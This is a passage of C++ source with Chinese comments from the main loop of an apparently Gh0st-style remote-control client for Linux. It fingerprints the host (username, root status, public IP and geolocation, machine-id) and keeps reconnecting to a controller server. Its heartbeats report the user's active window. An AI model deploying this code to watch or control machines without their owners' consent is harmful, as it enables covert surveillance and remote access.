logInfo.OsVerInfoEx[sizeof(logInfo.OsVerInfoEx) - 1] = '\0'; // 启动时间:进程创建时刻(北京时间),非本次登录时刻 std::string procStart = getProcessStartTime(); strncpy(logInfo.szStartTime, procStart.c_str(), sizeof(logInfo.szStartTime) - 1); logInfo.szStartTime[sizeof(logInfo.szStartTime) - 1] = '\0'; // CPU 主频 double freq = parse_sysfs_freq(); // 最可靠:从内核 sysfs 读取 if (freq < 0) freq = parse_lscpu(); if (freq < 0) freq = parse_cpuinfo(); logInfo.dwCPUMHz = freq > 0 ? static_cast(freq) : 0; // 摄像头 logInfo.bWebCamIsExist = 0; // 可执行文件路径 std::string exePath = getExePath(); // 读取配置文件(~/.config/ghost/config.conf) LinuxConfig cfg; // 安装时间:首次运行写入,后续从配置文件读取 std::string installTime = cfg.GetStr("install_time"); if (installTime.empty()) { installTime = ToPekingTimeAsString(nullptr); cfg.SetStr("install_time", installTime); Mprintf("First run, install_time saved: %s\n", installTime.c_str()); } // 公网 IP 和地理位置:缓存到配置文件,7 天过期后重新查询 std::string pubIP = cfg.GetStr("public_ip"); std::string location = cfg.GetStr("location"); int ipTime = cfg.GetInt("ip_time"); bool ipExpired = ipTime <= 0 || (time(nullptr) - ipTime > 7 * 86400); if (pubIP.empty() || location.empty() || ipExpired) { pubIP = getPublicIP(); if (!pubIP.empty()) { location = getGeoLocation(pubIP); cfg.SetStr("public_ip", pubIP); cfg.SetStr("location", location); cfg.SetInt("ip_time", (int)time(nullptr)); Mprintf("IP/Location updated: %s / %s\n", pubIP.c_str(), location.c_str()); } } // ============== 填充 szReserved(19 个字段,与服务端 LOGIN_RES 枚举一一对应)============== logInfo.AddReserved("LNX"); // [0] RES_CLIENT_TYPE logInfo.AddReserved(sizeof(void*) == 4 ? 32 : 64); // [1] RES_SYSTEM_BITS logInfo.AddReserved(getCPUCores()); // [2] RES_SYSTEM_CPU logInfo.AddReserved(getMemorySizeGB()); // [3] RES_SYSTEM_MEM logInfo.AddReserved(exePath.c_str()); // [4] RES_FILE_PATH logInfo.AddReserved("?"); // [5] RES_RESVERD logInfo.AddReserved(installTime.c_str()); // [6] RES_INSTALL_TIME logInfo.AddReserved("?"); // [7] RES_INSTALL_INFO logInfo.AddReserved(sizeof(void*) == 4 ? 32 : 64); // [8] RES_PROGRAM_BITS logInfo.AddReserved(""); // [9] RES_EXPIRED_DATE logInfo.AddReserved(location.c_str()); // [10] RES_CLIENT_LOC logInfo.AddReserved(pubIP.c_str()); // [11] RES_CLIENT_PUBIP logInfo.AddReserved("v1.0.0"); // [12] RES_EXE_VERSION logInfo.AddReserved(getUsername().c_str()); // [13] RES_USERNAME logInfo.AddReserved(getuid() == 0 ? 1 : 0); // [14] RES_ISADMIN logInfo.AddReserved(getScreenResolution().c_str()); // [15] RES_RESOLUTION // V2 ID 算法:machine-id + 归一化路径 // - 同机同程序路径永远同 ID(不依赖 IP/hostname/distro/CPU 漂移) // - 局域网多机即便同镜像,cloud-init/kickstart 会让 machine-id 各不同 // - machine-id 读取失败时退化到老算法(pubIP|hostname|distro|cpu|path)保兼容 std::string machineId = getMachineId(); if (!machineId.empty()) { std::string normPath = normalizeExePathLower(exePath); std::string idInput = machineId + "|" + normPath; g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0); Mprintf("Calculated clientID(v2): %llu (machineId=%s, path=%s)\n", g_myClientID, machineId.c_str(), normPath.c_str()); } else { // 老算法兜底(与服务端 CONTEXT_OBJECT::CalculateID 相同算法) // 格式: pubIP|hostname|os|cpu|path char cpuStr[32]; snprintf(cpuStr, sizeof(cpuStr), "%uMHz", logInfo.dwCPUMHz); std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" + hostname + "|" + distro + "|" + cpuStr + "|" + exePath; g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0); Mprintf("Calculated clientID(v1 fallback): %llu (machine-id 读取失败)\n", g_myClientID); } logInfo.AddReserved(std::to_string(g_myClientID).c_str()); // [16] RES_CLIENT_ID logInfo.AddReserved((int)getpid()); // [17] RES_PID logInfo.AddReserved(getFileSize(exePath).c_str()); // [18] RES_FILESIZE logInfo.AddReserved(TlsEnabled() ? 1 : 0); // [19] RES_TLS(有信任锚即 1) // 服务端签名输入:与服务端 AddList 处签名格式一致(startTime + "|" + clientID) ClientAuth::g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID); // 初始化用户活动检测器(用于心跳包中的 ActiveWnd 字段) ActivityChecker activityChecker; std::unique_ptr ClientObject(new IOCPClient(g_bExit, false)); ClientObject->setManagerCallBack(NULL, DataProcess, NULL); // 不传 conn 的构造路径拿不到注入的 CONNECT_ADDRESS,协议只能显式喂进去:否则哪怕 // g_SETTINGS.protoType 配成 WS/WSS,也会静默按明文 TCP 直连(日志里一个字都没有)。 // 喂动作在循环内(见下):转移/到期恢复都会改传输方式,只喂一次会按旧协议重连。 if (g_SETTINGS.protoType == PROTO_WS || g_SETTINGS.protoType == PROTO_WSS) { Mprintf("[WS] 按配置的传输协议连接: proto=%d(WSS 需要 TLS 支持,不支持的平台会 fail-closed)\n", (int)(unsigned char)g_SETTINGS.protoType); } g_pMainClient = ClientObject.get(); // 自升级失败回报用 while (!g_bExit) { // 转移目标要在用之前应用;上一次重连留下的「请断开」标志在此已无意义 ApplyPendingTransfer(); CheckTransferExpiry(); g_needReconnect.store(false, std::memory_order_relaxed); ClientObject->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType); clock_t c = clock(); if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { Sleep(5000); continue; } // 主连接已经搬到转移目标:那条「提前建立」的临时连接完成使命。留着就是同一 // clientID 在这个主控上的第二条连接,服务端会互踢。 if (g_transferValidTo.load(std::memory_order_relaxed) > 0) StopChildren(KIND_TRANSFER); // 进入新连接,重置服务端身份校验状态 ClientAuth::OnNewConnection(); // 传输方式可能已被热切换(TLS 启/停),登录上报的 RES_TLS 必须反映本次连接。 RefreshLoginTls(logInfo); // 屏幕预览能力取决于本机当前是否有可用桌面(daemon 启动时可能还没有 DISPLAY) RefreshLoginCaps(logInfo); ClientObject->SendLoginInfo(logInfo.Speed(clock() - c)); // 新连接:把 ACK 看门狗喂到当前时间,避免循环刚进来就被误判为超时 g_lastHeartbeatAckMs.store(GetUnixMs(), std::memory_order_relaxed); // 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) { // 检查是否需要重发登录信息(分组变更后) if (g_needResendLogin.exchange(false)) { // 更新 szPCName(hostname/groupname 格式) std::string grp = g_SETTINGS.szGroupName; if (!grp.empty()) { std::string pcNameWithGroup = std::string(hostname) + "/" + grp; strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1); } else { strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1); } logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0'; RefreshLoginTls(logInfo); RefreshLoginCaps(logInfo); ClientObject->SendLoginInfo(logInfo); Mprintf(">> Resent login info after group change\n"); } // 等待心跳间隔(每秒检查一次退出条件,保证及时响应) int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30; for (int i = 0; i < interval; ++i) { // 转移生效只改地址(下次重连才用),到期则改回原主控并置重连标志 ApplyPendingTransfer(); CheckTransferExpiry(); if (g_needReconnect.load(std::memory_order_relaxed)) break; if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL) break; Sleep(1000); } // 信任锚热切换(COMMAND_TLS_ENABLE/DISABLE)与转移到期都会置这个标志: // 断开后由外层循环用新地址、新传输方式重连。 if (g_needReconnect.exchange(false)) { Mprintf(">>> Reconnecting to apply the address/transport change\n"); ClientObject->Disconnect(); break; } if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL) break; // 30 秒内未通过 MasterSettings 校验 → 断开本连接让外层重连, // 永不退出进程(详见 ClientAuth::IsTimedOut 注释)。 if (ClientAuth::IsTimedOut()) { ClientObject->Disconnect(); // 关闭 socket,防止重连时 fd 泄漏 break; } // 应用层 ACK 看门狗:超过 max(60s, interval*3) 没收到 HeartbeatACK 就 // 主动断开走重连。专治 TCP send() 在半死连接下永远返回成功的盲区—— // VM 挂起恢复 / 笔记本合盖唤醒 / NAT 表项老化等场景,对端早已不在, // 但本端 send() 仍把字节塞进 SNDBUF,IsConnected() 一直为真。 // 与服务端 CheckHeartbeat 超时(2015RemoteDlg.cpp 的 max(60, ReportInterval*3)) // 对齐:服务端删 host 时本端也能感知到,立即重连而不是等数据卡 ~15 分钟。 // 这一层不依赖 TCP_USER_TIMEOUT,跨平台必备。 { int ackTimeoutSec = (interval * 3 > 60) ? interval * 3 : 60; const uint64_t ackTimeoutMs = (uint64_t)ackTimeoutSec * 1000ULL; uint64_t lastAck = g_lastHeartbeatAckMs.load(std::memory_order_relaxed); uint64_t nowMs = GetUnixMs(); if (lastAck > 0 && nowMs > lastAck && nowMs - lastAck > ackTimeoutMs) { Mprintf(">>> Heartbeat ACK timeout: %llu ms since last ACK " "(threshold=%llu ms), reconnecting\n", (unsigned long long)(nowMs - lastAck), (unsigned long long)ackTimeoutMs); ClientObject->Disconnect(); break; } } // 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致) // ActiveWnd 直接发 UTF-8——与 LOGIN_INFOR.moduleVersion 中声明的 // CLIENT_CAP_UTF8 一致;服务端按 cap 位用 CP_UTF8 解码。早期为兼容 // MBCS 老服务端做过 utf8ToGbk 转换,但现在新版 Linux 客户端经 // libsign 网关只能连新版服务端,无需再转。 std::string activity = activityChecker.Check(); Heartbeat hb; hb.Time = GetUnixMs(); hb.Ping = (int)(g_rttEstimator.srtt * 1000); // srtt 是秒,转为毫秒 strncpy(hb.ActiveWnd, activity.c_str(), sizeof(hb.ActiveWnd) - 1); BYTE buf[sizeof(Heartbeat) + 1]; buf[0] = TOKEN_HEARTBEAT; memcpy(buf + 1, &hb, sizeof(Heartbeat)); ClientObject->Send2Server((char*)buf, sizeof(buf)); // 心跳节奏太密日志会刷屏;最多 60s 一行 static time_t lastSendLog = 0; time_t now_s = time(nullptr); if (now_s - lastSendLog >= 60) { lastSendLog = now_s; Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n", hb.Ping, interval, activity.c_str()); } } } // 退出原因留痕:signal handler 不能直接打日志,在这里补一行。 if (g_lastSignal != 0) { Mprintf(">>> Exit by signal %d (g_bExit=%d)\n", (int)g_lastSignal, (int)g_bExit); } else { Mprintf(">>> Exit normally (g_bExit=%d)\n", (int)g_bExit); } // 主实例退出:先收掉分享/转移子进程(它们各有一条连向目标主控的连接),再停日志。 // 分享实例自己不持有任何子进程,也不碰 PID 文件。 if (!g_bShareInstance) { // 顺序不能反:先让收尸线程停下并 join,再杀子进程——否则子进程退出时它还会 // 往(马上要停的)日志里写一行。 g_shareReaperStop.store(true, std::memory_order_relaxed); if (g_shareReaperThread.joinable()) g_shareReaperThread.join(); StopChildren(KIND_ALL); } Logger::getInstance().stop(); if (!g_bShareInstance) removePidFile(); return 0; }